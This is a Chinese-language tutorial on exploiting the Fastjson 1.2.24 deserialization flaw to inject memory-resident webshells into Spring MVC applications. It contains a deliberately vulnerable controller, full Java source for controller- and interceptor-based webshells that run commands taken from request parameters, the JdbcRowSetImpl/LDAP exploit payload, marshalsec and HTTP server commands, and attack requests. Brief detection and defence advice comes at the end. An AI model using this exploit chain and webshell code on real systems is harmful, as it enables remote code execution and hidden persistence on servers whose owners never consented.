利用Fastjson注入Spring内存马
字数 1084 2025-08-03 16:50:28

利用Fastjson注入Spring内存马技术详解

一、环境搭建

1. 组件版本要求

  • Fastjson: 1.2.24 (存在反序列化漏洞的版本)
  • Spring MVC: 4.3.28.RELEASE
  • JDK: 8u121 (需支持JNDI注入)

2. Spring MVC + Fastjson漏洞环境配置

web.xml配置

<servlet>
    <servlet-name>SpringMVC</servlet-name>
    <servlet-class>org.springframework.web.servlet.DispatcherServlet</servlet-class>
    <init-param>
        <param-name>contextConfigLocation</param-name>
        <param-value>classpath:springmvc.xml</param-value>
    </init-param>
</servlet>
<servlet-mapping>
    <servlet-name>SpringMVC</servlet-name>
    <url-pattern>/</url-pattern>
</servlet-mapping>

springmvc.xml配置

<context:component-scan base-package="test.controller"></context:component-scan>
<mvc:annotation-driven/>
<bean class="org.springframework.web.servlet.view.InternalResourceViewResolver">
    <property name="prefix" value="/"></property>
    <property name="suffix" value=".jsp"></property>
</bean>

漏洞控制器示例

@Controller
public class HelloController {
    @ResponseBody
    @RequestMapping(value = "/hello", method = RequestMethod.POST)
    public Object hello(@RequestParam("code")String code) throws Exception {
        System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
        Object object = JSON.parse(code);
        return code + "->JSON.parseObject()->" + object;
    }
}

pom.xml依赖

<dependency>
    <groupId>com.alibaba</groupId>
    <artifactId>fastjson</artifactId>
    <version>1.2.24</version>
</dependency>
<dependency>
    <groupId>org.springframework</groupId>
    <artifactId>spring-webmvc</artifactId>
    <version>4.3.28.RELEASE</version>
</dependency>

二、动态注册Controller技术原理

1. 获取Spring上下文方法

  1. 方法一: getCurrentWebApplicationContext

    WebApplicationContext context = ContextLoader.getCurrentWebApplicationContext();
    
  2. 方法二: WebApplicationContextUtils

    WebApplicationContext context = WebApplicationContextUtils.getWebApplicationContext(
        RequestContextUtils.getWebApplicationContext(
            ((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest()
        ).getServletContext()
    );
    
  3. 方法三: RequestContextUtils

    WebApplicationContext context = RequestContextUtils.getWebApplicationContext(
        ((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest()
    );
    
  4. 方法四: getAttribute

    WebApplicationContext context = (WebApplicationContext)RequestContextHolder.currentRequestAttributes()
        .getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
    

推荐使用第三、四种方法,前两种可能获取不到RequestMappingHandlerMapping实例。

2. Controller注册流程

// 1. 获取RequestMappingHandlerMapping实例
RequestMappingHandlerMapping r = context.getBean(RequestMappingHandlerMapping.class);

// 2. 反射获取自定义controller中的Method对象
Method method = (Class.forName("me.landgrey.SSOLogin").getDeclaredMethods())[0];

// 3. 定义URL路径匹配条件
PatternsRequestCondition url = new PatternsRequestCondition("/hahaha");

// 4. 定义HTTP方法条件
RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();

// 5. 动态注册controller
RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);
r.registerMapping(info, Class.forName("me.landgrey.SSOLogin").newInstance(), method);

三、内存马实现详解

1. 基础内存马实现

import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;
import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;

public class InjectToController {
    // 主构造函数
    public InjectToController() throws Exception {
        WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes()
            .getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
        
        RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
        Method method2 = InjectToController.class.getMethod("test");
        PatternsRequestCondition url = new PatternsRequestCondition("/malicious");
        RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
        RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);
        InjectToController injectToController = new InjectToController("aaa");
        mappingHandlerMapping.registerMapping(info, injectToController, method2);
    }
    
    // 辅助构造函数(避免循环调用)
    public InjectToController(String aaa) {}
    
    // 恶意方法实现
    public void test() throws IOException {
        HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();
        HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();
        java.lang.Runtime.getRuntime().exec(request.getParameter("cmd"));
    }
}

2. 回显优化版内存马

public void test() throws IOException {
    HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();
    HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();

    try {
        String arg0 = request.getParameter("cmd");
        PrintWriter writer = response.getWriter();
        if (arg0 != null) {
            String o = "";
            java.lang.ProcessBuilder p;
            if(System.getProperty("os.name").toLowerCase().contains("win")){
                p = new java.lang.ProcessBuilder(new String[]{"cmd.exe", "/c", arg0});
            }else{
                p = new java.lang.ProcessBuilder(new String[]{"/bin/sh", "-c", arg0});
            }
            java.util.Scanner c = new java.util.Scanner(p.start().getInputStream()).useDelimiter("\\A");
            o = c.hasNext() ? c.next(): o;
            c.close();
            writer.write(o);
            writer.flush();
            writer.close();
        }else{
            response.sendError(404);
        }
    }catch (Exception e){}
}

四、攻击测试流程

1. Fastjson <=1.2.24 攻击Payload

{
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"ldap://127.0.0.1:9999/InjectToController",
        "autoCommit":true
    }
}

2. 测试步骤

  1. 启动HTTP服务 (托管恶意class文件)

    python3 -m http.server 8888
    
  2. 启动LDAP服务 (使用marshalsec工具)

    java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8888/#InjectToController 9999
    
  3. 发送恶意请求 到存在漏洞的接口

    POST /hello HTTP/1.1
    Host: localhost:8080
    Content-Type: application/json
    
    {"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://127.0.0.1:9999/InjectToController","autoCommit":true}}
    
  4. 验证内存马 访问注入的路径

    GET /malicious?cmd=whoami HTTP/1.1
    Host: localhost:8080
    

五、Interceptor内存马实现

import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.servlet.handler.HandlerInterceptorAdapter;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;

public class TestInterceptor extends HandlerInterceptorAdapter {
    public TestInterceptor() throws Exception {
        WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes()
            .getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
        
        org.springframework.web.servlet.handler.AbstractHandlerMapping abstractHandlerMapping = 
            (org.springframework.web.servlet.handler.AbstractHandlerMapping)context.getBean(
                "org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping");
        
        java.lang.reflect.Field field = org.springframework.web.servlet.handler.AbstractHandlerMapping.class
            .getDeclaredField("adaptedInterceptors");
        field.setAccessible(true);
        java.util.ArrayList<Object> adaptedInterceptors = (java.util.ArrayList<Object>)field.get(abstractHandlerMapping);
        
        // 避免重复添加
        for (int i = adaptedInterceptors.size() - 1; i > 0; i--) {
            if (adaptedInterceptors.get(i) instanceof TestInterceptor) {
                return;
            }
        }
        
        TestInterceptor aaa = new TestInterceptor("aaa");
        adaptedInterceptors.add(aaa);
    }

    private TestInterceptor(String aaa){}

    @Override
    public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
        String code = request.getParameter("code");
        if (code != null) {
            java.lang.Runtime.getRuntime().exec(code);
            return true;
        }
        return true;
    }
}

六、关键注意事项

  1. 编译问题:

    • 恶意类需要Spring相关依赖,直接使用javac编译会失败
    • 解决方案:在完整Spring项目中编译,从target目录获取class文件
  2. 注入失败排查:

    • 确保springmvc.xml中配置了<mvc:annotation-driven/>
    • 该配置会注册RequestMappingHandlerMapping等关键Bean
  3. JDK版本限制:

    • JDK 8u121后默认关闭了JNDI远程codebase加载
    • 测试时需要设置com.sun.jndi.rmi.object.trustURLCodebase=true
  4. 内存马检测:

    • 检查异常的URL映射
    • 监控RequestMappingHandlerMapping的registerMapping调用
    • 检查adaptedInterceptors中的异常拦截器

七、防御建议

  1. 升级Fastjson到最新安全版本
  2. 限制JNDI查找能力
  3. 实施运行时应用自我保护(RASP)
  4. 监控动态注册的Controller和Interceptor
  5. 对反序列化操作进行严格输入验证
利用Fastjson注入Spring内存马技术详解 一、环境搭建 1. 组件版本要求 Fastjson: 1.2.24 (存在反序列化漏洞的版本) Spring MVC: 4.3.28.RELEASE JDK: 8u121 (需支持JNDI注入) 2. Spring MVC + Fastjson漏洞环境配置 web.xml配置 springmvc.xml配置 漏洞控制器示例 pom.xml依赖 二、动态注册Controller技术原理 1. 获取Spring上下文方法 方法一 : getCurrentWebApplicationContext 方法二 : WebApplicationContextUtils 方法三 : RequestContextUtils 方法四 : getAttribute 推荐使用第三、四种方法 ,前两种可能获取不到RequestMappingHandlerMapping实例。 2. Controller注册流程 三、内存马实现详解 1. 基础内存马实现 2. 回显优化版内存马 四、攻击测试流程 1. Fastjson <=1.2.24 攻击Payload 2. 测试步骤 启动HTTP服务 (托管恶意class文件) 启动LDAP服务 (使用marshalsec工具) 发送恶意请求 到存在漏洞的接口 验证内存马 访问注入的路径 五、Interceptor内存马实现 六、关键注意事项 编译问题 : 恶意类需要Spring相关依赖,直接使用javac编译会失败 解决方案:在完整Spring项目中编译,从target目录获取class文件 注入失败排查 : 确保springmvc.xml中配置了 <mvc:annotation-driven/> 该配置会注册RequestMappingHandlerMapping等关键Bean JDK版本限制 : JDK 8u121后默认关闭了JNDI远程codebase加载 测试时需要设置 com.sun.jndi.rmi.object.trustURLCodebase=true 内存马检测 : 检查异常的URL映射 监控RequestMappingHandlerMapping的registerMapping调用 检查adaptedInterceptors中的异常拦截器 七、防御建议 升级Fastjson到最新安全版本 限制JNDI查找能力 实施运行时应用自我保护(RASP) 监控动态注册的Controller和Interceptor 对反序列化操作进行严格输入验证